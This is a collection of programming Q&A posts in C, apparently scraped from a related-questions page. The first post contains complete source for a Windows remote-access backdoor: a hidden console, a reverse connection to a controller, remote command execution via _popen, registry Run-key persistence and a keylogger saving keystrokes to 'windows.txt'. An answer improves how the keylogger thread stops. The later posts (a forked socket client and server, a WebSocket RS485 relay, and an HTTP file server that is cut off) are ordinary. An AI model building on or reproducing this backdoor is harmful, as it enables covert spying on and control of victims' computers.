Related
Is it possible to close thread from "keylog_start" else if statement in another else if statement with winapi?
else if(strncmp("keylog_start", buffer, 12) == 0){
HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL);
goto jump;
}
else if(strncmp("keylog_stop", buffer, 11) == 0){
goto jump;
}
DWORD WINAPI logg(){
int vkey, last_key_state[0xFF];
int isCAPSLOCK,isNUMLOCK;
int isL_SHIFT,isR_SHIFT;
int isPressed;
char showKey;
char NUMCHAR[] = ")!##$%^&*(";
char chars_vn[] = ";=,-./`";
char chars_vs[] = ":+<_>?~";
char chars_va[] = "[\\]\';";
char chars_vb[] = "{|}\"";
FILE *kh;
char KEY_LOG_FILE[] = "windows.txt";
for(vkey=0; vkey<0xFF;vkey++){
last_key_state[vkey] = 0;
}
while(1){
Sleep(10);
isCAPSLOCK=(GetKeyState(0x14)&0xFF)>0?1:0;
isNUMLOCK=(GetKeyState(0x90)&0xFF)>0?1:0;
isL_SHIFT=(GetKeyState(0xA0)&0xFF00)>0?1:0;
isR_SHIFT=(GetKeyState(0xA1)&0xFF00)>0?1:0;
for(vkey=0; vkey<0xFF;vkey++){
isPressed=(GetKeyState(vkey)&0xFF00)>0?1:0;
showKey=(char)vkey;
if(isPressed==1 && last_key_state[vkey]==0){
if(vkey>=0x41 && vkey<=0x5A){
if(isCAPSLOCK==0){
if(isL_SHIFT==0 && isR_SHIFT==0){
showKey=(char)(vkey+0x20);
}
}
else if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=(char)(vkey+0x20);
}
}
else if(vkey>=0x30 && vkey<=0x39){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=NUMCHAR[vkey-0x30];
}
}
else if(vkey>=0x60 && vkey<=0x69 && isNUMLOCK==1){
showKey=(char)(vkey-0x30);
}
else if(vkey>=0xBA && vkey<=0xC0){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=chars_vs[vkey-0xBA];
}
else{
showKey=chars_vn[vkey-0xBA];
}
}
else if(vkey>=0xDB && vkey<=0xDF){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=chars_vb[vkey-0xDB];
}
else{
showKey=chars_va[vkey-0xDB];
}
}
else if(vkey==0x0D){
showKey=(char)0x0A;
}
else if(vkey>=0x6A && vkey<=0x6F){
showKey=(char)(vkey-0x40);
}
else if(vkey!=0x20 && vkey!=0x09){
showKey=(char)0x00;
}
if(showKey!=(char)0x00){
kh=fopen(KEY_LOG_FILE,"a");
putc(showKey,kh);
fclose(kh);
}
}
last_key_state[vkey]=isPressed;
}
}
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "keylogger.h"
#define bzero(p, size) (void) memset((p), 0, (size))
int sock;
int bootRun(){
char err[128] = "Failed\n";
char suc[128] = "Created Persistence At : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n";
TCHAR szPath[MAX_PATH];
DWORD pathLen = 0;
pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);
if(pathLen == 0){
send(sock, err, sizeof(err), 0);
return -1;
}
HKEY NewVal;
if (RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS){
send(sock, err, sizeof(err), 0);
return -1;
}
DWORD pathLenInBytes = pathLen * sizeof(*szPath);
if(RegSetValueEx(NewVal, TEXT("[XPOSED]Agent"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS){
RegCloseKey(NewVal);
send(sock, err, sizeof(err), 0);
return -1;
}
RegCloseKey(NewVal);
send(sock, suc, sizeof(suc), 0);
return 0;
}
char *
str_cut(char str[], int slice_from, int slice_to){
if(str[0] == '\0')
return NULL;
char *buffer;
size_t str_len, buffer_len;
if(slice_to < 0 && slice_from > slice_to){
str_len = strlen(str);
if (abs(slice_to) > str_len -1)
return NULL;
if (abs(slice_from) > str_len)
slice_from = (-1) * str_len;
buffer_len = slice_to - slice_from;
str += (str_len + slice_from);
} else if (slice_from >= 0 && slice_to > slice_from){
str_len = strlen(str);
if (slice_from > str_len - 1)
return NULL;
buffer_len = slice_to - slice_from;
str += slice_from;
} else
return NULL;
buffer = calloc(buffer_len, sizeof(char));
strncpy(buffer, str, buffer_len);
return buffer;
}
void Shell(){
char buffer[1024];
char container[1024];
char total_response[18384];
while(1){
jump:
bzero(buffer,1024);
bzero(container,sizeof(container));
bzero(total_response, sizeof(total_response));
recv(sock, buffer, 1024, 0);
if(strncmp("q", buffer, 1) == 0){
closesocket(sock);
WSACleanup();
exit(0);
}
else if(strncmp("cd ", buffer, 3) == 0){
chdir(str_cut(buffer,3,100));
}
else if(strncmp("persist", buffer, 7) == 0){
bootRun();
}
else if(strncmp("keylog_start", buffer, 12) == 0){
HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL);
goto jump;
}
else if(strncmp("keylog_stop", buffer, 11) == 0){
goto jump;
}
else{
FILE * fp;
fp = _popen(buffer, "r");
while(fgets(container, 1024, fp) != NULL){
strcat(total_response, container);
}
send(sock, total_response, sizeof(total_response), 0);
fclose(fp);
}
}
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
struct sockaddr_in ServAddr;
unsigned short ServPort;
char *ServIP;
WSADATA wsaData;
ServIP = "";
ServPort = 50005;
if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0){
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
memset(&ServAddr, 0, sizeof(ServAddr));
ServAddr.sin_family = AF_INET;
ServAddr.sin_addr.s_addr = inet_addr(ServIP);
ServAddr.sin_port = htons(ServPort);
start:
while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) != 0){
Sleep(10);
goto start;
}
/*MessageBox(NULL, TEXT("You have been pwned!"), TEXT("[XPOSED]Agent"), MB_OK | MB_ICONERROR); */
Shell();
}
Modify your logg function as follows. I'm not sure how you aren't getting a warning about your thread function missing a void* parameter. Perhaps C is more relaxed in the type checking.
struct LogOptions
{
CRITICAL_SECTION cs;
bool isExitCondition;
};
DWORD WINAPI logg(void* args){
...
LogOptions* pOptions = (LogOptions*)args;
...
while(1){
bool isExit = false;
EnterCriticalSection(&pOptions->cs);
isExit = pOptions->isExitCondition;
LeaveCriticalSection(&pOptions->cs);
if (isExit) {
break;
}
Sleep(10);
Create your thread like this:
LogOptions* pOptions = malloc(sizeof(LogOptions));
pOptions->isExitCondition = false;
InitializeCriticalSection(&pOptions->cs);
HANDLE thread = CreateThread(NULL, 0, logg, pOptions, 0, NULL);
When it's time to stop your thread, do this:
// signal the thread to exit by setting the shared variable to true
EnterCriticalSection(&pOptions->cs);
pOptions->isExitCondition = true;
LeaveCriticalSection(&pOptions->cs);
// wait for thread to exit
WaitForSingleObject(thread, INFINITE);
// release resources
CloseHandle(thread);
free(pOptions);
It's up to you how you will store and pass thread and pOptions around.
I'm making C socket program that 1 server process communicates to 1 client process of all 4 processes in turn.
More specifically, when the client and the server talk to each other 10 messages(5 messages for each), the other client who's waiting for connecting to the server connects and do the same thing. Each clients must have different ports (8000-8003) when connecting.
I think my program below communicates to only 1 client which matches to the same port with the server(8000).
What should I do with this when there should be just 1 server process and 4 client processes using different ports?
screentshot from client
screenshot from server
client.c
#define _POSIX_SOURCE
#include <sys/types.h>
#include <signal.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
int main(int argc, const char * argv[]) {
int c_socket_fd;
struct sockaddr_in server_address;
char fromServer[100];
int str_len;
int PORT = 8000;
int count = 0;
int status;
pid_t wait_pid;
pid_t pid = fork();
if (pid < 0) {
printf("fork failed!\n");
return 0;
} else if (pid == 0) {
// P-C1
pid = fork();
if (pid < 0) {
printf("fork failed!\n");
return 0;
} else if (pid == 0) {
// P-C1-C3
PORT = 8003;
} else if (pid > 0) {
// P-C1
PORT = 8001;
}
} else if (pid > 0) {
// P
pid = fork();
if (pid < 0) {
printf("fork failed!\n");
return 0;
} else if (pid == 0) {
// P-C2
PORT = 8002;
} else if (pid > 0) {
// P
PORT = 8000;
}
}
printf("pid: %d ppid: %d\n", pid, getppid());
c_socket_fd = socket(PF_INET, SOCK_STREAM, 0);
printf("Created Client Socket\n");
memset(&server_address, 0, sizeof(server_address));
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = inet_addr("127.0.0.1");
server_address.sin_port = htons(PORT);
if(connect(c_socket_fd, (struct sockaddr*)&server_address, sizeof(server_address)) == 0) {
printf("Connected Server\n");
while (1) {
char toServer[100] = "Hello Server, this is message No. ";
char* ch = toServer;
while (*ch != '\0') {
ch++;
}
*ch = ('0' + count);
ch++;
char temp[7] = " from ";
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
int process_id = pid;
if (process_id >= 10000) {
char temp[6] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
} else if (process_id >= 1000) {
char temp[5] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
} else if (process_id >= 100) {
char temp[4] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
} else if (process_id >= 10) {
char temp[3] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
} else {
char temp[2] = {0,};
sprintf(temp, "%d", process_id);
char* temp_ch = temp;
while(*temp_ch != '\0') {
*ch = *temp_ch;
temp_ch++;
ch++;
}
}
ch++;
*ch = '\0';
count++;
if (count > 5) {
if (pid > 0)
wait_pid = wait(&status);
if (wait_pid != -1)
break;
}
write(c_socket_fd, toServer, sizeof(toServer));
read(c_socket_fd, fromServer, sizeof(fromServer));
printf("From Server: %s\n", fromServer);
}
close(c_socket_fd);
}
return 0;
}
server.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#define PORT 8000
int main() {
int s_socket_fd, c_socket_fd;
struct sockaddr_in server_address, client_address;
socklen_t client_address_size = sizeof(client_address);
char toClient[100] = "Hello Client, this is my reply for your message No. ";
char fromClient[100];
s_socket_fd = socket(PF_INET, SOCK_STREAM, 0);
if (s_socket_fd == -1) {
printf("socket create failed!\n");
close(s_socket_fd);
return 0;
}
printf("Server Socket Created!\n");
memset(&server_address, 0, sizeof(server_address));
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(PORT);
if ((bind(s_socket_fd, (struct sockaddr*) &server_address, sizeof(server_address))) == -1) {
printf("bind failed!\n");
close(s_socket_fd);
return 0;
}
if ((listen(s_socket_fd, 10) == -1)) {
printf("listen failed!\n");
close(s_socket_fd);
return 0;
}
printf("Waiting Client...\n");
client_address_size = sizeof(client_address);
c_socket_fd = accept(s_socket_fd, (struct sockaddr*) &client_address, &client_address_size);
if (c_socket_fd == -1) {
printf("accept failed!\n");
close(c_socket_fd);
close(s_socket_fd);
return 0;
}
printf("Client Connected!\n");
while(1) {
read(c_socket_fd, fromClient, sizeof(fromClient));
printf("From Client message: %s\n", fromClient);
char* count = strstr(fromClient, " from");
count--;
char* temp_ch = toClient;
while (*temp_ch != '\0') {
temp_ch++;
}
*(temp_ch-1) = *count;
write(c_socket_fd, toClient, sizeof(toClient));
}
close(c_socket_fd);
close(s_socket_fd);
return 0;
}
I've a problem with websocket. I have a particular need, so, sniffer continuous serial port (rs485) and send any data to the clients.
I've found many help in internet and my written program work correctly.
I have one last problem that I can not fix. Often the server for no reason close the connection whith all clients and exit from c program.
I had to create a virtual buffer to ensure that there are data for all threads, because once you read the buffer of the serial it is emptied.
Websocket server is in C, websocket clients is in php/js.
I'm sorry for my orrible english.
This is my client:
var server_connection;
var rs485_connection;
var ping_serverconnection;
var ping_rs485connection
var sockethide=true;
window.addEventListener("beforeunload", function (e) { socketConnection_close(); });
function socketConnection_open() {
server_socketConnect();
rs485_socketConnect();
}
function server_socketConnect() {
server_connection = new WebSocket('ws://192.168.2.8:5000');
server_connection.onopen = function () { serverOpened(); console.log('SERVER Connected!');};
server_connection.onerror = function (error) { console.log('WebSocket Error ' + error); };
server_connection.onmessage = function(e) { serverReceive(e.data); };
server_connection.onclose = function(e) { serverClosed(); console.log('SERVER Disconnected!'); };
ping_serverconnection=setInterval(function() {server_connection.send("ping");},5000);
}
function rs485_socketConnect() {
rs485_connection = new WebSocket('ws://192.168.2.8:5001',"DomoProtocol");
rs485_connection.onopen = function () { rs485Opened(); console.log('RS485 Connected!'); /*server_socketConnect()*/;};
rs485_connection.onerror = function (error) { console.log('WebSocket Error ' + error); };
rs485_connection.onmessage = function(e) { rs485Receive(e.data); };
rs485_connection.onclose = function(e) { rs485Closed(); console.log('RS485 Disconnected!'); };
//ping_rs485connection=setInterval(function() {rs485_connection.send("ping");},10000);
}
function socketConnection_close() {
//clearInterval(ping_serverconnection);
clearInterval(ping_rs485connection);
//server_connection.send("exit");
rs485_connection.send("exit");
for(i=0;i<100000;i++);
rs485_connection.close(); rs485_connection='';
server_connection.close(); server_connection='';
}
function serverOpened() {
document.getElementById("serverlightid").src=urlbase+"/images/icons/green.png";
}
function rs485Opened() {
document.getElementById("rs485lightid").src=urlbase+"/images/icons/green.png";
}
function serverClosed() {
server_connection.close(); server_connection='';
document.getElementById("serverlightid").src=urlbase+"/images/icons/red.png";
//server_socketConnect();
}
function rs485Closed() {
rs485_connection.close(); rs485_connection='';
document.getElementById("rs485lightid").src=urlbase+"/images/icons/red.png";
}
function socketexpand() {
if (sockethide) {
document.getElementById("socketDivId").style.width="500px";
document.getElementById("socketDivId").style.height="400px";
document.getElementById("socketexpandid").style.display="none";
document.getElementById("sockethideid").style.display="inline";
sockethide=false;
} else {
document.getElementById("socketDivId").style.width="80px";
document.getElementById("socketDivId").style.height="25px";
document.getElementById("socketexpandid").style.display="inline";
document.getElementById("sockethideid").style.display="none";
sockethide=true;
}
}
// *******************************************************************************************************
function serverReceive(msg) { alert("Dato Ricevuto server:"+msg); }
function server_connection_send(msg) {
server_connection.send(msg);
var node = document.createElement("span");
var textnode = document.createTextNode(msg+" ");
node.appendChild(textnode);
document.getElementById("serversocketdivid").appendChild(node);
}
function rs485Receive(msg) {
//var content=document.getElementById("rs485socketdivid");
var node = document.createElement("span");
var textnode = document.createTextNode(msg+" ");
node.appendChild(textnode);
document.getElementById("rs485socketdivid").appendChild(node);
//alert("Dato Ricevuto 485:"+msg);
}
function rs485_connection_send(msg) {
rs485_connection.send(msg);
var node = document.createElement("span");
var textnode = document.createTextNode(msg+" ");
node.appendChild(textnode);
document.getElementById("serversocketdivid").appendChild(node);
}
And this is my server in c:
#include<stdint.h>
#include<stdarg.h>
#include<stdio.h>
#include<math.h>
#include<string.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<unistd.h>
//for threading , link with lpthread
#include<pthread.h>
//for SHA1 + BASE64
#include <openssl/sha.h>
const char *BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
//for serial
#include <termios.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#define MAX_BUFFER 1000
#define DELAYTOSEND 1000000
#define MAX_CONNECTION 10
void *connection_handler(void *);
void *connection_handler_master(void *);
int serialBuffer[MAX_BUFFER];
long arg;
int main(int argc , char *argv[])
{
int socket_desc , new_socket , c , *new_sock, i;
struct sockaddr_in server , client;
char client_message[2000], query[200]="";
char *message, *token, *key;
unsigned char obuf[20];
unsigned char b64[100];
//thread MASTER
for(i=0;i<(MAX_BUFFER+1);i++) serialBuffer[i]=-1;
pthread_t sniffer_thread;
new_sock = malloc(1);
*new_sock = new_socket;
if( pthread_create( &sniffer_thread , NULL , connection_handler_master , (void*) new_sock) < 0) {
perror("Non posso creare il Thread MASTER");
return 1;
}
puts("Thread MASTER creato");
//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1) {
printf("Impossibile creare un socket");
}
//Prepare the sockaddr_in structure
server.sin_family = AF_INET; //IPv4
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 5001 );
//Bind
if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0) {
puts("bind fallito");
return 1;
}
puts("bind OK");
//Listen
listen(socket_desc , MAX_CONNECTION);
//Accept and incoming connection
puts("In attesa di connessione...");
c = sizeof(struct sockaddr_in);
while( (new_socket = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c)) ) {
puts("Connessione accetata");
recv(new_socket, client_message , 2000 , 0);
token=strtok(client_message,"\r\n");
//DEBUG while(token) { printf( "--------->: %s\n", token ); token=strtok(NULL,"\r\n"); } printf("----------------------------------------\r\n");
while(token != NULL) {
if(!strncmp(token,"Sec-WebSocket-Key:",18)) break; //printf( "%s\n", token );
token=strtok(NULL,"\r\n");
}
key=strtok(token," ");
key=strtok(NULL," ");
strcat(key,"258EAFA5-E914-47DA-95CA-C5AB0DC85B11");
SHA1(key,strlen(key),obuf);
base64_encode(obuf,20,b64,100);
printf( "KEY: %s\n", key );
printf( "B64: %s\n", b64 );
strcat(query,"HTTP/1.1 101 Switching Protocols\r\n");
strcat(query,"Upgrade: Websocket\r\n");
strcat(query,"Connection: Upgrade\r\n");
strcat(query,"Sec-Websocket-Protocol:DomoProtocol\r\n");
strcat(query,"Sec-WebSocket-Accept: ");
strcat(query,b64);
strcat(query,"\r\n\r\n");
//DEBUG puts(token);
printf( "%s\n", query );
write(new_socket , query , strlen(query));
query[0]='\0';
pthread_t sniffer_thread;
new_sock = malloc(1);
*new_sock = new_socket;
if( pthread_create( &sniffer_thread , NULL , connection_handler , (void*) new_sock) < 0) {
perror("Non posso creare il thread");
return 1;
}
puts("Thread creato, Handler assegnato");
printf("new_sock:%i\r\n",new_sock);
}
if (new_socket<0) {
perror("Connessione rifiutata");
return 1;
}
puts("uscita1");
return 0;
}
/**
* encode three bytes using base64 (RFC 3548)
*/
void _base64_encode_triple(unsigned char triple[3], char result[4]) {
int tripleValue, i;
tripleValue = triple[0];
tripleValue *= 256;
tripleValue += triple[1];
tripleValue *= 256;
tripleValue += triple[2];
for (i=0; i<4; i++) { result[3-i] = BASE64_CHARS[tripleValue%64]; tripleValue /= 64; }
}
/**
* encode an array of bytes using Base64 (RFC 3548)
* return 1 on success, 0 otherwise
*/
int base64_encode(unsigned char *source, size_t sourcelen, char *target, size_t targetlen) {
if ((sourcelen+2)/3*4 > targetlen-1) return 0;
/* encode all full triples */
while (sourcelen >= 3) {
_base64_encode_triple(source, target);
sourcelen -= 3;
source += 3;
target += 4;
}
if (sourcelen > 0) {
unsigned char temp[3];
memset(temp, 0, sizeof(temp));
memcpy(temp, source, sourcelen);
_base64_encode_triple(temp, target);
target[3] = '=';
if (sourcelen == 1) target[2] = '=';
target += 4;
}
target[0] = 0;
return 1;
}
/**
* determine the value of a base64 encoding character
* return the value in case of success (0-63), -1 on failure
*/
int _base64_char_value(char base64char) {
if (base64char >= 'A' && base64char <= 'Z') return base64char-'A';
if (base64char >= 'a' && base64char <= 'z') return base64char-'a'+26;
if (base64char >= '0' && base64char <= '9') return base64char-'0'+2*26;
if (base64char == '+') return 2*26+10;
if (base64char == '/') return 2*26+11;
return -1;
}
/**
* decode a 4 char base64 encoded byte triple
* return lenth of the result (1, 2 or 3), 0 on failure
*/
int _base64_decode_triple(char quadruple[4], unsigned char *result) {
int i, triple_value, bytes_to_decode = 3, only_equals_yet = 1;
int char_value[4];
for (i=0; i<4; i++) char_value[i] = _base64_char_value(quadruple[i]);
for (i=3; i>=0; i--) {
if (char_value[i]<0) {
if (only_equals_yet && quadruple[i]=='=') {
char_value[i]=0;
bytes_to_decode--;
continue;
}
return 0;
}
only_equals_yet = 0;
}
if (bytes_to_decode < 0) bytes_to_decode = 0;
triple_value = char_value[0]; triple_value *= 64;
triple_value += char_value[1]; triple_value *= 64;
triple_value += char_value[2]; triple_value *= 64;
triple_value += char_value[3];
for (i=bytes_to_decode; i<3; i++) triple_value /= 256;
for (i=bytes_to_decode-1; i>=0; i--) { result[i] = triple_value%256; triple_value /= 256; }
return bytes_to_decode;
}
/**
* decode base64 encoded data
* return length of converted data on success, -1 otherwise
*/
size_t base64_decode(char *source, unsigned char *target, size_t targetlen) {
char *src, *tmpptr;
char quadruple[4], tmpresult[3];
int i, tmplen = 3;
size_t converted = 0;
src = (char *)malloc(strlen(source)+5);
if (src == NULL) return -1;
strcpy(src, source);
strcat(src, "====");
tmpptr = src;
while (tmplen == 3) {
for (i=0; i<4; i++) {
while (*tmpptr != '=' && _base64_char_value(*tmpptr)<0) tmpptr++;
quadruple[i] = *(tmpptr++);
}
tmplen = _base64_decode_triple(quadruple, tmpresult);
if (targetlen < tmplen) { free(src); return -1; }
memcpy(target, tmpresult, tmplen);
target += tmplen;
targetlen -= tmplen;
converted += tmplen;
}
free(src);
return converted;
}
/*
* Serial Open
*/
int serialOpen (char *device, int baud) {
struct termios options ;
speed_t myBaud ;
int status, fd ;
if ((fd = open (device, O_RDWR | O_NOCTTY | O_NDELAY | O_NONBLOCK)) == -1) return -1 ;
fcntl (fd, F_SETFL, O_RDWR) ;
tcgetattr (fd, &options) ;
cfmakeraw (&options) ;
cfsetispeed (&options, B115200) ;
cfsetospeed (&options, B115200) ;
options.c_cflag |= (CLOCAL | CREAD) ;
options.c_cflag &= ~PARENB ;
options.c_cflag &= ~CSTOPB ;
options.c_cflag &= ~CSIZE ;
options.c_cflag |= CS8 ;
options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG) ;
options.c_oflag &= ~OPOST ;
options.c_cc [VMIN] = 0 ;
options.c_cc [VTIME] = 100 ; // Ten seconds (100 deciseconds)
tcsetattr (fd, TCSANOW | TCSAFLUSH, &options) ;
ioctl (fd, TIOCMGET, &status);
status |= TIOCM_DTR ;
status |= TIOCM_RTS ;
ioctl (fd, TIOCMSET, &status);
usleep (10000) ; // 10mS
return fd ;
}
/*
* DECODE / ENCODE STRING TO BINARY
* */
char * decode( char *frame) {
static char text[2000];
int ofs=0, len=0, i=0, a=0;
len = (int)(frame[1]) & 127;
if (len == 126) { ofs = 8; }
else if (len == 127) { ofs = 14; }
else { ofs = 6; }
text[0] = '\0';
for (i = ofs; i < strlen(frame); i++) { text[a] = frame[i] ^ frame[ofs - 4 + (i - ofs) % 4]; a++; }
text[a] = '\0';
return text;
}
char * encode( char *frame) {
int indexStartRawData=-1, i=0;
long long int len=0;
static char bytesFormatted[2000];
for(i=0;i<2000;i++) bytesFormatted[i]='\0';
len = strlen(frame);
bytesFormatted[0]= 129;
if (len <= 125) {
bytesFormatted[1] = len;
indexStartRawData = 2;
} else if (len >= 126 && len <= 65535) {
bytesFormatted[1] = 126;
bytesFormatted[2] = ( len >> 8 ) && 255;
bytesFormatted[3] = ( len ) && 255;
indexStartRawData = 4;
} else {
bytesFormatted[1] = 127;
bytesFormatted[2] = ( len >> 56 ) && 255;
bytesFormatted[3] = ( len >> 48 ) && 255;
bytesFormatted[4] = ( len >> 40 ) && 255;
bytesFormatted[5] = ( len >> 32 ) && 255;
bytesFormatted[6] = ( len >> 24 ) && 255;
bytesFormatted[7] = ( len >> 16 ) && 255;
bytesFormatted[8] = ( len >> 8 ) && 255;
bytesFormatted[9] = ( len ) && 255;
indexStartRawData = 10;
}
strcat( bytesFormatted,frame);
bytesFormatted[indexStartRawData+len] ='\0';
return bytesFormatted;
}
char * asciiencode( int asciichar) {
int indexStartRawData=-1, i=0, len=0;
static char bytesFormatted[10];
static char asciiFormatted[10];
for(i=0;i<=6;i++) bytesFormatted[i]='\0';
sprintf(asciiFormatted,"%i\0",asciichar);
len = strlen(asciiFormatted);
bytesFormatted[0]= 129;
bytesFormatted[1] = len;
indexStartRawData = 2;
strcat( bytesFormatted,asciiFormatted);
bytesFormatted[indexStartRawData+len] =0;
bytesFormatted[indexStartRawData+len+1] =0;
bytesFormatted[indexStartRawData+len+2] ='\0';
//bytesFormatted[indexStartRawData+len] ='\r';
//bytesFormatted[indexStartRawData+len+1] ='\n';
return bytesFormatted;
}
/*
* Thread MASTER to popolate virtual array
* */
void *connection_handler_master (void *socket_desc) {
//Get the socket descriptor
int sock = *(int*)socket_desc;
int read_size;
char *server_message , client_message[2000];
int i=0;
//Send some messages to the client
server_message = "Creazione MASTER avvenuta. ";
printf("%s\r\n",server_message);
server_message = "In attesa di dati sul bus RS485.";
printf("%s\r\n",server_message);
int handle;
uint8_t x ;
handle = serialOpen ("/dev/ttyAMA0", 115200) ;
//for(i=0;i<2001;i++) printf("%i: %i\r\n ",i,serialBuffer[i]);
while(1) {
while(!read (handle, &x, 1));
if(x>-1) {
serialBuffer[i]=x;
//DEBUG printf("%i-%i\r\n",i,serialBuffer[i]);
if(i==MAX_BUFFER) { serialBuffer[0]=-1; i=0; }
else { serialBuffer[i+1]=-1; i++; }
}
x=-1;
}
}
/*
* Thread clients
* */
void *connection_handler(void *socket_desc) {
//Get the socket descriptor
int sock = *(int*)socket_desc, read_size, i=0, a=0;
char *server_message , client_message[2000], *c;
//Send some messages to the client
server_message = "Connessione avvenuta. ";
write(sock , encode(server_message) , strlen(encode(server_message)));
server_message = "In attesa di dati sul buffer.";
write(sock , encode(server_message) , strlen(encode(server_message)));
//DEBUG printf("sock:%i\r\n",sock);
while(serialBuffer[i]!=-1) i++;
while(1) {
if(serialBuffer[i]!=-1) {
//DEBUG printf("Serialdata%i: %i\r\n",i,serialBuffer[i]);
server_message=asciiencode(serialBuffer[i]);
write(sock , server_message , strlen(server_message));
//printf("Serialdata--------------->%i: %s\r\n",i,server_message);
if(i==MAX_BUFFER) i=0;
else i++;
for(a=0;a<DELAYTOSEND;a++) { }
}
}
// This code is not used
//Receive a message from client
while( (read_size = recv(sock , client_message , 2000 , 0)) > 0 ) {
//Received message from client
//printf( "%s\n", decode(client_message) );
//send message to client
//server_message="provina";
//write(sock , encode(server_message) , strlen(encode(server_message)));
printf( "%s\n",decode(client_message));
//read (handle, &x, 1);
//sprintf(c,"%i",x);
//write (sock, encode(c),strlen(encode(c) ) );
printf("serialBUffer: %s\r\n",serialBuffer);
}
if(read_size == 0)
{
puts("Client disconnected");
fflush(stdout);
}
else if(read_size == -1)
{
puts("uscita2");
perror("recv failed");
}
//Free the socket pointer
puts("uscita3");
free(socket_desc);
return 0;
}
I've read all the related answers but could not find the reason why this is happening. I've tried replacing close() to shutdown and then close and more but still the same.
All I need is to be able to browse to my server and when asking a file it'll return its content and when asking a directory it will return a list of whats in it. this all WORKS, except for the RST packet.
Can anyone help?
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <errno.h>
#include <signal.h>
#define HTTP_BAD_REQUEST "HTTP/1.1 404 Not Found\nContent-Type: text/html\nConnection: Closed\n\n<HTML>\n<HEAD>\n<TITLE>File Not Found</TITLE>\n</HEAD>\n<BODY>\n<br/>\n</BODY>\n</HTML>\n"
#define HTTP_GOOD_REQUEST "HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Closed\n\n<HTML>\n<HEAD>\n<TITLE>Results</TITLE>\n</HEAD>\n<BODY>\n"
#define HTTP_ERROR "HTTP/1.1 500 Internal Server Error\nContent-Type: text/html\nConnection: Closed\n\n<HTML>\n<HEAD>\n<TITLE>Internal Server Error!</TITLE>\n</HEAD>\n<BODY>\n<br/>\n</BODY>\n</HTML>\n"
#define HTTP_NOT_IMPLEMENTED "HTTP/1.1 501 Not Implemented\nContent-Type: text/html\nConnection: Closed\n\n<HTML>\n<HEAD>\n<TITLE>Method Not Implemented</TITLE>\n</HEAD>\n<BODY>\n<br/>\n</BODY>\n</HTML>\n"
#define HTTP_END "<br/></BODY></HTML>\n\0"
#define MAX_REQUEST_SIZE 1024
int send_response(int fd, char* filepath)
{
struct stat statbuf;
int iofd;
int check = 1;
char buf[1024];
if ( stat(filepath,&statbuf) < 0 )
{
printf("Path not found\n");
send(fd, HTTP_BAD_REQUEST, strlen(HTTP_BAD_REQUEST), 0);
return -1;
}
else
{
if(S_ISDIR(statbuf.st_mode))
{
//directory
DIR *dp;
struct dirent *ep;
dp = opendir (filepath);
if (dp == NULL)
{
printf("Error opening directory\n");
send(fd, HTTP_ERROR, strlen(HTTP_ERROR), 0);
return -1;
}
send(fd, HTTP_GOOD_REQUEST, strlen(HTTP_GOOD_REQUEST), 0);
ep = readdir (dp);
while (ep != NULL)
{
send(fd, ep->d_name, strlen(ep->d_name), 0);
send(fd, "<br/>", strlen("<br/>"), 0);
ep = readdir (dp);
}
send(fd, HTTP_END, strlen(HTTP_END), 0);
(void) closedir (dp);
return 0;
}
else if (S_ISREG(statbuf.st_mode))
{
//regular file
iofd = open(filepath, O_RDONLY);
if( iofd < 0 )
{
